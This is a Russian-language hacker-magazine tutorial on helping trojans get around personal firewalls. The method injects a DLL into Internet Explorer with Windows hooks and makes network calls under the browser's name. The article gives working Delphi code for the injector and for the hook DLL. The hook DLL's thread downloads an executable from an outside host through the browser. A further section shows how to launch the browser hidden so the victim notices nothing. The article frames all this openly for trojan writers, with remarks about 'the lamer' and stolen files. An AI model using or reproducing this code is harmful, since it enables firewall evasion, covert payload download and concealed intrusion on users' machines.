Лет 5-7 назад, когда файрволы еще были
экзотикой, трояны для работы с сетью могли
использовать обычный TCP/IP. Вспомним,
например, Back Orifice группы Cult of a Dead Cow. Этот
троян получил большое распространение в
конце прошлого века и стал классикой backdoor.
Многие трояны, написанные после, так или
иначе его копировали. Работал Back Orifice так: на
машине жертвы из автозагрузки в реестре
запускался сервер, который открывал
заданный порт и ждал. Хакер на своей машине
запускал программу-клиент, коннектился к
серверу по TCP/IP и спокойно посылал ему
команды. Сервер эти команды выполнял и так
же спокойно отсылал клиенту результаты. А
глупый пользователь как ни в чем не бывало
продолжал лазить по порносайтам =) Как тогда
все было просто, правда?

Но хорошие времена прошли, пользователи
поумнели. Сегодня свежий антивирус и
правильно настроенный файрвол на домашней
машине — уже не редкость, о серверах и
говорить нечего. К тому же операционки
стали выпускать со встроенными файрволами (например
MS Windows XP SP2 и некоторые Linux’ы). Поэтому если у
хакера и получается как-нибудь запустить на
машине жертвы троян, пробраться в сеть
этому трояну теперь ой как непросто.
Приходится идти на всякие хитрости и уловки.
Как раз об одной такой хитрости мы сегодня и
поговорим 😉

А что если прикинуться броузером?

Обычно файрвол настроен пропускать в сеть
web-браузер — иначе как пользователь будет
лазить по своим любимым сайтам? Хитрость в
том, что бы троян внедрился в web-браузер, как-нибудь
"заразил" его, и работал с сетью от его
имени. Причем внедрение надо провести так,
что бы файрвол ничего не заметил.

Вариантов тут несколько. Первое, что
приходит в голову: попробовать заразить EXE-файл
web-браузера на диске (например iexplore.exe для MS
Internet Explorer) так же, как это делают вирусы. Но,
во-первых, внедрить собственный код в EXE-файл
на диске не так-то просто — особенно если
этот код написан на языке высокого уровня
типа Delphi. Во-вторых, при заражении EXE-файл
изменится, а это плохо. Обычно файрволы,
перед тем как выпустить какую-нибудь
программу в сеть, проверяют ее исполняемые
файлы на диске. Если файлы изменились,
доступ в сеть для программы закрывается, а
пользователю тут же выдается
соответствующее сообщение. Ну и в третьих,
некоторые браузеры при запуске могут
проверять собственные файлы. Если файлы
изменились, браузер сообщает об этом
пользователю и прекращает работу. Этим
страдает например IE-based браузер, встроенный
в PHP Expert Editor 3.2.1.

В общем, заражение EXE-файла на диске
практически ничего не дает. Поэтому
троянмейкеры применяют другой прием —
заражение браузера прямо в памяти. В MS Windows
существует несколько техник, позволяющих
трояну подгрузить свой код в адресное
пространство чужого процесса (в том числе
браузера), не изменяя никаких файлов на
диске. Рассмотрим, ИМХО, наиболее простую из
них.

Техника DLL-INJECTING через ловушки

Эта техника известна троянмейкерам уже
давно. Она позволяет внедрить свою DLL в
адресное пространство чужого процесса (injecting
— по англ. "внедрение"). Техника
основана на том, что Windows позволяет
программам устанавливать так называемые
ловушки (hooks, "хуки") на сообщения
системы. Обычно ловушки используются
программами в сугубо мирных целях. Например,
переключатель языков Windows устанавливает
ловушку на сообщения от клавиатуры, что бы
знать, какие клавиши нажаты. Но ловушки
могут быть использованы и троянами, что бы
прорваться мимо файрвола в сеть.

Давайте рассмотрим конкретный пример, а с
теорией разберемся по ходу дела — думаю, так
получится понятнее всего (готовые
исходники примера лежат
здесь
). Конечно, наш пример сам по себе ни
в коем случае не будет трояном — мы же
законопослушные граждане 😉 Мы просто
напишем процедуру InjectDLLviaHOOKS(dll_name: string),
которая внедряет указанную в dll_name
библиотеку в адресное пространство Internet
Explorer =)

Сначала попробуем просто загрузить dll_name с
помощью API LoadLibrary. При успешной загрузке эта
API должна вернуть нам идентификатор (его еще
называют "хэндл") загруженной DLL. Этот
идентификатор мы поместим в переменную h
типа THandle:

h:=LoadLibrary(PAnsiChar(dll_name));
//
проверим, загрузилась ли
библиотека

if h=0 then
begin
//
нет — выдадим messagebox с
сообщением и выйдем из процедуры

MessageBox(0, PAnsiChar(‘Не могу загрузить DLL ‘+dll_name+’!’), 
DLL_INJ, MB_OK+MB_ICONERROR);
exit;
end;

Здесь и дальше константа DLL_INJ содержит
заголовок окна messagebox’а:

const DLL_INJ = ‘DLL Injector (HOOKS)’;

Это сделано просто для удобства, что бы
каждый раз не перенабирать заголовок
заново.

Теперь с помощью API GetProcAddress найдем в
загруженной DLL адреса функций HookProc и SetHK. Что
это за функции нам станет ясно дальше. Код:

p:=GetProcAddress(h, ‘HookProc’);
@sh:=GetProcAddress(h, ‘SetHK’);
//
проверим, нашлись ли
адреса

if ((p=nil) or (@sh=nil)) then
begin
//
не нашлись 🙁 — выдадим
messagebox

MessageBox(0, PAnsiChar(‘Библиотека ‘+
dll_name+’ не содержит необходимых функций!’),
DLL_INJ, MB_OK+MB_ICONERROR);
//
выгрузим библиотеку
FreeLibrary(h);
//
и выйдем
exit;
end;

Причем заметим, что p — это просто указатель (тип
pointer), а sh — переменная-функция, прототип
которой описан как:

type TShp = procedure (hk: HHOOK) stdcall;

Пока что ничего особенного, правда? Только
неясно, что такое HHOOK. Вот сейчас и выясним.
Установим ловушку. Делается это с помощью API
SetWindowsHookEx. В качестве первого параметра
необходимо указать тип ловушки. Мы укажем
WH_CALLWNDPROC — это значит, что мы хотим поставить
ловушку на сообщения, получаемые окнами.
Вторым и третьим параметром передадим
адрес функции ловушки (указатель p на HookProc) и
идентификатор DLL (переменная h), в котором
эта функция находиться. Четвертый параметр
— идентификатор потока, на который
необходимо поставить ловушку. У нас этот
параметр равен 0 — это значит, что мы хотим
поставить ловушки на все потоки в системе,
которые имеют окна.

Если ловушка поставлена успешно API SetWindowsHookEx
вернет идентификатор ловушки, который мы
поместим в переменную hk типа HHOOK (вот мы и
выснили, что такое HHOOK!). Если ловушку
установить не удалось — мы получим 0.

А вот и кусок кода, который все это делает:

hk:=SetWindowsHookEx(WH_CALLWNDPROC, p, h, 0);
//
проверим, установилась ли
ловушка

if hk=0 then
begin
//
нет =( — messagebox, отгрузка
библиотеки, выход

MessageBox(0, PAnsiChar(‘Невозможно установить хук!’),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;

Теперь, если мы все сделали правильно,
ловушка установилась. Что же произошло? А
произошло вот что — наша DLL загрузилась во
все процессы, которые имеют окна. И теперь
как только Windows пошлет какому-нибудь окну
сообщение (любое!), это сообщение сперва
попадет к нашей функции HookProc, и только потом
— к нужному окну. Более того, если мы уже
после установки ловушки загрузим какую-то
программу с окнами, наша DLL подгрузиться к
этой программе автоматически! Так что даже
если браузер еще не запущен, не страшно, мы
можем подождать =)

Однако тут все не так просто, как кажется на
первый взгляд. Функция HookProc в dll_name не может
быть какой попало, она должна иметь
определенный вид. Какой? Сейчас увидим.

Создадим в Delphi шаблон DLL. В Delphi 7 это File=>New=>Other=>New=>DLL
Wizard, в других версиях или точно так же, или
похоже. Удалим из шаблона все и впишем туда:

library hook_dll;
uses Windows;
begin
end.

Затем сохранимся под именем hook_dll (скомпилированная
библиотека таким образом будет называться
hook_dll.dll). Теперь вобьем функцию HookProc:

function HookProc(nCode, wParam, lParam: integer): integer
stdcall;
begin
//
просто передадим
сообщение дальше по цепочке

Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;

Не забудьте про stdcall! Тем самым вы укажете
компилятору Delphi, что параметры нужно
передавать функции на стеке в обратном
порядке (если вы не очень поняли, что это
значит — Гейтс с ним, просто не забудьте про
stdcall, это важно).

Теперь посмотрим на саму функцию. HookProc
принимает три параметра типа integer. Не будем
сейчас разбираться, что означают эти
параметры. Скажем только, что nCode — это число,
которое говорит нашей функции, как
обрабатывать поступившее сообщение Windows, а
wParam и lParam — это, собственно, и есть само
сообщение. Поскольку мы вообще никак не
собираемся его обрабатывать, мы просто
передадим его дальше — окну или следующей
ловушке.

"Какой следующей ловушке?" — спросит
особо дотошный читатель. Отвечаю: дело в том,
что не одни мы можем ставить ловушки. Очень
может быть, что перед нами какая-то
программа (тот же переключатель языков Windows)
уже поставила точно такую же ловушку.
Потому сообщение сначала попадет к функции
нашей ловушки; эта функция должна передать
его следующей ловушки — той, которая была
поставлена перед нами; та — следующей и т.д.
по цепочке. Ловушка, которая была
поставлена самой первой, передаст
сообщение уже окну. Ну, конечно, если до
нашей ловушки никаких других не ставили,
тогда мы передаем сообщение сразу окну.

Но мы отвлеклись, давайте вернемся к
функции HookProc. Передача сообщения
осуществляется с помощью API CallNextHookEx. Причем
специфика ловушек состоит в том, что HookProc
должна вернуть значение, которое получится
в результате работы CallNextHookEx.

Посмотрим на параметры CallNextHookEx. С nCode, wParam,
lParam все ясно. А вот что такое _hook? Ответ на
этот вопрос зависит от версии Windows. В 9x/ME это
обязательно должен быть идентификатор
ловушки, который мы получили с помощью
SetWindowsHookEx. В 2000/XP _hook может быть просто 0.
Получается, что если мы работаем под 9x/ME, мы
должны как-то передать идентификатор
ловушки в библиотеку. Помните, в самом
начале, сразу после загрузки DLL с помощью
LoadLibrary мы находили в ней адрес функции SetHK? В
hook_dll.dll эта функция выглядит так:

var
//
_hook обьявляется
глобальной переменной в hook_dll

//
типа HHOOK со значением по
умолчанию 0

_hook: HHOOK = 0;

… … …

// собственно, сама
процедура

procedure SetHK(hk: HHOOK) stdcall;
begin
_hook:=hk;
end;

SetHK передает идентификатор ловушки в нашу DLL,
поэтому ее необходимо вызвать в процедуре
установки хука сразу после SetWindowsHookEx. Что мы
и сделаем =)

sh(hk);

Правда, если вы собираетесь работать только
под Windows 2000/XP, функция SetHK не обязательна. Как
уже было сказано, _hook в этом случае может
быть равно 0 (мы, кстати, так и прописали по
умолчанию). Поэтому SetHK можно вообще убрать
из hook_dll, а в процедуре внедрения DLL не искать
адрес и не вызывать ее.

Надо сказать, что здесь есть еще одна
тонкость, которую мы сегодня обсуждать не
будем. Она совсем не чувствуется на Windows 9x/ME/2000/XP.
Но если вы попытаетесь ставить ловушки в
Windows NT и писать все это на Delphi, вам придеться
здорово попотеть, что бы передать
идентификатор ловушки в DLL. Это связано с
тем, что компилятор Delphi очень криво
поддерживает так называемые shared-секции. Но
не надо о грустном =), тем более кто сейчас
помнит NT?

Итак, ловушка стоит, наша DLL подгружается во
все процессы с окнами. Но нам ведь не нужны
все процессы, нам нужен процесс Internet Explorer —
iexplore.exe. Как же узнать, в какой процесс нас
подгрузила система? Очень просто — в секцию
инициализации DLL впишем код:

begin
//
сравниваем идентификатор
процесса, в который нас загрузили,

//
с идентификатором iexplore.exe
if GetModuleHandle(nil)=GetModuleHandle(‘iexplore.exe’) then
begin
//
если совпало — значит мы
наконец-то попали в Internet Explorer

//
создадим поток, в котором
будем работать

CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);
end;
end.

Передавая API-функции GetModuleHandle параметр nil, мы
находим хендл процесса, в который нас
загрузили, и сравниваем с хендлом Internet Explorer.
Это работает даже если iexplore.exe еще не
запущен — тогда GetModuleHandle(‘iexplore.exe’) просто
вернет нам 0. Ну и ничего страшного — можно
ведь сравнивать и с нулем =) Если сравнение
прошло успешно, мы создадим поток, в котором
и будем работать.

"А зачем создавать поток?" — спросит тот
же дотошный читатель, что спрашивал про
следующую ловушку =), — "Ведь можно вместо
какого-то малопонятного CreateThread просто
вписать свой код!" Так то оно так, но…
Загрузка DLL не закончится, пока не будет
выполнен весь код в секции инициализации. И
если мы собираемся работать с сетью прямо в
секции инициализации, то процесс загрузки
может затянуться надолго. Если он затянется,
у того процесса, в которое мы внедрились (особенно
это касается процессов, запускаемых после
установки ловушки) могут возникнуть
проблемы с обработкой сообщений и оно
повиснет. Кроме того, Windows накладывает много
чисто системных ограничений на код в секции
инициализации DLL — там много чего запрещено
из того, что разрешено обычному коду. А
зачем нам запреты и ограничения? 

Поток создается обычным образом, с помощью
API CreateThread. @WorkWithNet — указатель на процедуру,
которая будет выполняться в потоке. thID —
глобальная переменная типа THandle, в которую
будет помещен идентификатор потока (нам-то
она ни к чему, но по синтаксису быть должна).
pointer(12345) — указатель на переменную, которая
передается потоку (опять-таки он
сформирован "от балды", т.к. никакие
внешние переменный в потоке мы не
используем). Поток стартует сразу после
выполнения CreateThread.

Теперь о процедуре WorkWithNet. Выглядит она так:

procedure WorkWithNet(thrVar: integer) stdcall;
begin
//
скачиваем файл http://test2.ru/cmd.exe
и записываем его в d:\cmd.exe

URLDownloadToFile(nil, ‘http://test2.ru/cmd.exe’, ‘d:\cmd.exe’, 0, nil);
// в
ыдаем messagebox с сообщением
об успешном внедрении

MessageBox(0, ‘Успешно внедрились Internet Explorer и
попробовали ‘+
‘скачать файл в обход файрвола =)) Файл
должен лежать в d:\’,
‘Hook DLL’, MB_OK);
//
на этом процедура потока
завершается и поток — вместе с ней

end;

Думаю, тут все понятно. Только не забудьте
вместо http://test2.ru/cmd.exe указать какой-нибудь
правильный адрес файла в сети и включить в
uses модуль UrlMon — в нем описана API-функция
URLDownloadToFile.

Ловушка работает, пока запущена EXE-программа,
которая ее установила. После завершения
этой EXE система снимает ловушку
автоматически. Если ловушку нужно снять до
завершения установившей ее программы,
воспользуйтесь API UnhookWindowsHookEx. В качестве
единственного параметра ей надо передать
идентификатор ловушки:

UnhookWindowsHookEx(hk);

Вот, собственно, и вся техника DLL-injecting с
помощью ловушек =)

Проблемы

Стоит, сказать о некоторых проблемах,
которые возникают при использовании DLL
injecting через ловушки.

Во первых, внедрение DLL происходит только в
те процессы, которые имею окна. Если жертва
трояна — ненормальный маньяк ;), который
ходит в сеть через текстовый браузер (например
Lynx в DOS-сеансе), то троян отдыхает. Никакими
ловушками он никуда не пролезет. К счастью,
сегодня текстовые браузеры — редкость.

Во вторых, без прав администратора в 2000/XP
троянская DLL не сможет внедриться в
системные процессы (типа winlogon.exe), даже если
те имеют окна. Но это тоже не большая
проблема. Браузер в большинстве случаев
запускается как обычный процесс и для
доступа к нему никаких особых прав не нужно.
Например, код к этой статье нормально
работает с Internet Explorer 6.0 под "Гостем" в
Windows XP SP2.

В третьих — файрволы умнеют с каждым релизом
и сейчас особо продвинутые уже не выпускают
в сеть подгруженные с помощью ловушки DLL-ки.
Для того, что бы проскользнуть мимо них,
нужны более сложные техники. Вот это,
конечно, уже печально =(. Но увы — такова
суровая правда жизни.

Иногда возникает еще и четвертая проблема —
жертва сидит в сети, но браузер не запускает
(например, сутками сосет почту и торчит в
Асе). А трояну нужно срочно скачать для себя
обновление или отправить краденые файлы.
Эта проблема имеет очень простое решение =)

Запусти браузер сам!

В Windows есть хорошая API-функция ShellExecute, она
открывает файлы и запускает программы.
Вызвать эту функцию — все равно, что дважды
клацнуть по указнному файлу. Документы
будут открываются в Word’е, файлы с
расширением TXT — в блокноте, а EXE… они просто
запускаться =) Это мы и используем — запустим
браузер сами!

"Стоп, стоп!" — скажет уже всех
задолбавший дотошный читатель, — "Ведь
если мы сами запустим браузер, ламер,
которому мы впихнули троян, это увидит. И
такой шутки скорее всего не поймет".

Отвечаю: спокойно, все предусмотрено!
Допустим, мы хотим запустить Internet Explorer.
Вызовем ShellExecute так:

ShellExecute(0, ‘open’, ‘iexplore.exe’, nil, nil, SW_HIDE);

Первый параметр — хендл окна-владельца
открытого браузера. У нас 0 — владельца нет.
Второй и третий параметры — операция (у нас
"open" — т.е. открыть) и программа, к
которой эта операция дожна быть применена.
Четвертый параметр — PAnsiChar-строка с
параметрами. Мы ничего не передаем, у нас
там nil. Предпоследний, пятый параметр, тоже
PAnsiChar-строка — директория по умолчанию. У нас
опять-таки nil. И наконец последний, самый
интересный параметр — константа,
определяющая способ запуска программы, в
которой будет открыт документ. Здесь мы
передаем SW_HIDE, и наш браузер запускается в
скрытом виде! Т.е., говоря языком VCL-форм в
Delphi, ее главное окно имеет свойство Visible:=FALSE.

Поэтому когда мы сами откроем Internet Explorer по
умолчанию, пользователь (или, как говорит
дотошный читатель, "ламер") ничего не
заметит. Увидеть и закрыть запущенный таким
образом браузер можно только в менеджере
задач, по Ctr+Alt+Del. Кстати, в Windows 2000/XP для этого
понадобится зайти на вкладку "Процессы",
потому что на вкладке "Приложения"
iexplore.exe не видно =)

Сам троян может узнать, запустился ли
браузер, проверив значение, которое
возвратит ShellExecute. Если оно больше 32 — все о’кей.

Конечно, можно для запуска браузера можно
использовать не только ShellExecute. В Windows есть
еще две API — WinExec и CreateProcess. Но WinExec морально
устарела (хотя работает), а в CreateProcess слишком
много параметров, поэтому ею не очень
удобно пользоваться.

Думаю, с этим вопросом почти все понятно.
"Почти" — потому что тут все-таки
остаются некоторые нюансы. Например, что
если у пользователя на машине два браузера —
кроме Internet Exlorer еще Opera или Mozila? А файрволл
настроен так, что выпускает в сеть только
один из этих браузеров. Тогда как узнать
какой именно?

Увы, моя статья не резиновая, потому нам
придется поговорить о таких тонкостях в
следующий раз. А на сегодня я прощаюсь с
вами. Bye =)

Оставить мнение

Check Also

В гостях у чертёнка. FreeBSD глазами линуксоида

Порог вхождения новичка в мир Linux за последние десять-пятнадцать лет ощутимо снизился. О…